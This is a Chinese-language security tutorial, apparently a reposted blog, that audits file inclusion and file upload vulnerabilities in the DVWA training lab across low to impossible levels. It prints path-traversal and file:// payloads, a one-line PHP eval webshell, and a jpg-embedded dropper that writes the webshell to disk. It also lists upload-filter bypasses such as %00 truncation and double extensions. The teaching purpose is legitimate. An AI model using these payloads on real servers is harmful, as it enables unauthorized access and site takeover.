allow_url_include在默認情況下是關閉的,如果想要實驗測試的話,可以去打開,但是真實環境中建議關閉。

 

 

DVWA分析

先選擇low級別,先進行黑盒測試一下,進行包含,看到file1,file2,file3,試下file4,因為file.php存在,結果包含到了,並且提示you  are  rigjt。

這個時候可以進一步操作,可以使用../讓目錄回到上級目錄,以此來進行目標目錄(通過多個../可以讓目錄回到根目錄中然后再進入目標目錄),

試一下吧,?page=../../php.ini   ,除了這么多還有其他的操作等待你去挖掘。

現在分析一下代碼<?php

// The page we wish to display
$file $_GET'page' ];

?>

可以看到直接接收page參數,沒有進行任何過濾操作,所以造成文件包含漏洞。

 

下面選擇medium,先看下代碼

<?php

// The page we wish to display
$file $_GET'page' ];

// Input validation
$file str_replace( array( "http://""https://" ), ""$file );
$file str_replace( array( "../""..\"" ), ""$file );

?>

增加了str_replace()函數,把傳入的url里面的http,https,../,..\  替換成空格,但是使用str_replace函數是不安全的,因為可以使用雙寫繞過替換規則

比如:http和https可以用hthttp://tp:給繞過,因為只是過濾了../和..\,所以可以用絕對路徑進行繞過:?page=./..././..././../php.ini

 

 

 

選擇high級別,看下代碼

<?php

// The page we wish to display
$file $_GET'page' ];

// Input validation
if( !fnmatch"file*"$file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

使用了fnmatch函數:fnmatch() 函數根據指定的模式來匹配文件名或字符串。

檢查page參數,要求page參數的開頭必須是file開頭,服務器才回去包含,但是我們可以利用file協議繞過防護策略,然后再進行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

 

 

 

 最后看一下impossiable級別的代碼

<?php

// The page we wish to display
$file $_GET'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到代碼很簡潔,page參數只能是"include.php","file1.php","file2.php","file3.php"

 否則直接exit。徹底不能文件包含了。

 

 

 

最后的最后再分享個文件包含的滲透小技巧

***讀取敏感文件是文件包含漏洞的主要利用方式之一,比如服務器采用Linux系統,而用戶又具有相應的權限,那么就可以利用文件包含漏洞去讀取/etc/passwd文件的內容。

系統中常見的敏感信息路徑如下:windows系統

linux系統

 

 

***文件包含漏洞的主要利用方式是配合文件上傳。比如大多數網站都會提供文件上傳功能,但一般只允許上傳jpg或gif等圖片文件,通過配合文件包含漏洞就可以在網站中生成一句話木馬網頁文件。
比如,在記事本中寫入下面這段代碼,並將之保存成jpg文件。

<?php
fwrite(fopen("orange.php","w"),'<?php @eval($_POST[orange]);?>');
?>

可以成功進行包含,並且得到了一個orange.php一句話木馬文件,密碼是orange。進而進行下一步攻擊。

 

 

 

 

 

 

文件上傳審計

其實個人認為文件上傳黑盒測試的時候姿勢特別多,白盒測試的時候除了明顯的限制上傳文件的類型外,白盒審計不如黑盒測試來的"刺激"。

文件上傳應該是最常用的漏洞了,上傳函數就那一個 move_uploaded_file();一般來說找這個漏洞就是直接ctrl+f 直接開搜。遇到沒有過濾的直接傳個一句話的webshell上去。

上傳的漏洞比較多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名單過濾,或者是文件頭,content-type等等。一般來找上傳的過濾函數進行分析就行。

(1) 未過濾或本地過濾:服務器端未過濾,直接上傳PHP格式的文件即可利用。

(2) 黑名單擴展名過濾:限制不夠全面:IIS默認支持解析.asp,.cdx, .asa,.cer等。不被允許的文件格式.php,但是我們可以上傳文件名為1.php (注意后面有一個空格)

(3) 文件頭 content-type驗證繞過:getimagesize()函數:驗證文件頭只要為GIF89a,就會返回真。限制$_FILES["file"]["type"]的值 就是人為限制content-type為可控變量。

(4)過濾不嚴或被繞過:比如大小寫問題,網站只驗證是否是小寫,我們就可以把后綴名改成大寫。

(5)文件解析漏洞:比如 Windows 系統會涉及到這種情況:文件名為1.php;.jpg,IIS 6.0 可能會認為它是jpg文件,但是執行的時候會以php文件來執行。我們就可以利用這個解析漏洞來上傳。再比如 Linux 中有一些未知的后綴,比如a.php.xxx。由於 Linux 不認識這個后綴名,它就可能放行了,攻擊者再執行這個文件,網站就有可能被控制。

(6)路徑截斷:就是在上傳的文件中使用一些特殊的符號,使文件在上傳時被截斷。比如a.php%00.jpg,這樣在網站中驗證的時候,會認為后綴是jpg,但是保存到硬盤的時候會被截斷為a.php,這樣就是直接的php文件了。常用來截斷路徑的字符是:\0  , ?  ,  %00  ,   也可以超長的文件路徑造成截斷。

(4)等等等等,以后慢慢補充

 

忘了編譯器了,編輯器漏洞和文件上傳漏洞原理一樣,只不過多了一個編輯器。上傳的時候還是會把我們的腳本上傳上去。不少編譯器本身就存在文件上傳漏洞,舉個栗子:進入網站后台后如果找不到上傳的地方或者其他姿勢不好使的時候,就可以從編譯器下手進行上傳,從而GETSHELL。常見的編譯器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各種編譯器利用的相關姿勢。網上很多這里就不寫了。

 

先了解一下PHP通過$_FILES對象來讀取文件,以便於下面的理解

PHP中通過$_FILES對象來讀取文件,通過下列幾個屬性:

  • $_FILES[file]['name'] - 被上傳文件的名稱。

  • $_FILES[file]['type'] - 被上傳文件的類型。

  • $_FILES[file]['size'] - 被上傳文件的大小(字節)。

  • $_FILES[file]['tmp_name'] - 被上傳文件在服務器保存的路徑,通常位於臨時目錄中。

  • $_FILES[file]['error'] - 錯誤代碼,0為無錯誤,其它都是有錯誤。

 

DVWA分析

選擇low級別,先進行黑盒測試一下,直接上傳個php一句話:<?php @eval($_POST["orange"]); ?>

看到上傳成功,路徑(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php),

 

 看一下代碼

<?php

if( isset( $_POST'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
    $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file$_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?>

 不懂上面的函數什么意思可以百度一下,

basename()函數:basename(path,suffix)   ,    basename() 函數返回路徑中的文件名部分。如果可選參數suffix為空,則返回的文件名包含后綴名,反之不包含后綴名。move_uploaded_file()函數:move_uploaded_file(file,newloc)    ,   move_uploaded_file() 函數將上傳的文件移動到新位置。若成功,則返回 true,否則返回 false。本函數檢查並確保由 file 指定的文件是合法的上傳文件(即通過 PHP 的 HTTP POST 上傳機制所上傳的)。如果文件合法,則將其移動為由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT為網頁的根目錄,target_path變量為上傳文件的絕對路徑,basename( $_FILES['uploaded']['name'])將文件中已經“uploaded”的文件的名字取出並加入到target_path變量中。if語句判斷文件是否上傳到指定的路徑中,若沒有則顯示沒有上傳。

可以看到,服務器對上傳文件的類型、內容沒有做任何的檢查、過濾,存在明顯的文件上傳漏洞,所以可以上傳任意文件,生成上傳路徑后,服務器會檢查是否上傳成功並返回相應提示信息。

 

 

選擇mediem級別,看下代碼

<?php

if( isset( $_POST'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
    $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name $_FILES'uploaded' ][ 'name' ];
    $uploaded_type $_FILES'uploaded' ][ 'type' ];
    $uploaded_size $_FILES'uploaded' ][ 'size' ];

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size 100000 ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file$_FILES'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

可以看到對上傳的類型和大小加以限制,限制文件類型必須是image/jpeg和image.png,並且上傳文件的大小小於100000(97.6KB)

但是簡單地設置檢測文件的類型,因此可以通過burpsuite來修改文件的類型進行過濾即可

我們可以通過burpsuite抓包修改文件類型,具體如下圖所示,通過抓包上傳upload.php,把.php文件成功上傳(上傳的png文件是小於97.6KB的)

注:這里也是可以利用%00截斷上傳,講下圖中的upload.png改成upload.php%00.png就可以突破限制,成功上傳。

 

 

選擇high級別,看下代碼

<?php

if( isset( $_POST'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  DVWA_WEB_PAGE_TO_ROOT "hackable/uploads/";
    $target_path .= basename$_FILES'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name $_FILES'uploaded' ][ 'name' ];
    $uploaded_ext  substr$uploaded_namestrrpos$uploaded_name'.' ) + 1);
    $uploaded_size $_FILES'uploaded' ][ 'size' ];
    $uploaded_tmp  $_FILES'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower$uploaded_ext ) == "jpg" || strtolower$uploaded_ext ) == "jpeg" || strtolower$uploaded_ext ) == "png" ) &&
        ( $uploaded_size 100000 ) &&
        getimagesize$uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file$uploaded_tmp$target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

分析:strrpos(string,find,start)

函數返回字符串find在另一字符串string中最后一次出現的位置,如果沒有找到字符串則返回false,可選參數start規定在何處開始搜索。

getimagesize(string filename)

函數會通過讀取文件頭,返回圖片的長、寬等信息,如果沒有相關的圖片文件頭,函數會報錯。

可以看到,High級別的代碼讀取文件名中最后一個”.”后的字符串,期望通過文件名來限制文件類型,因此要求上傳文件名形式必須是”*.jpg”、”*.jpeg” 、”*.png”之一。同時,getimagesize函數更是限制了上傳文件的文件頭必須為圖像類型。

用圖片馬進行繞過,抓包修改,把"phptupianma.png"改為"phptupianma.php.png"

在本來的文件名的文件名稱和后綴名之間加上php的后綴形式,使其位於中間位置,以便於使其在服務器端當作php文件來執行,這樣就可以成功上傳。

 

 

 

 

 

 

 

 

還有其他漏洞類型的審計,以后會慢慢補充......

 

 

 

 

 

上面所寫到的工具和環境都分享在雲盤里面(鏈接: https://pan.baidu.com/s/1pLr7w6Z 密碼: r326)

本文鏈接(http://www.cnblogs.com/Oran9e/p/7763751.html),轉載請注明。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM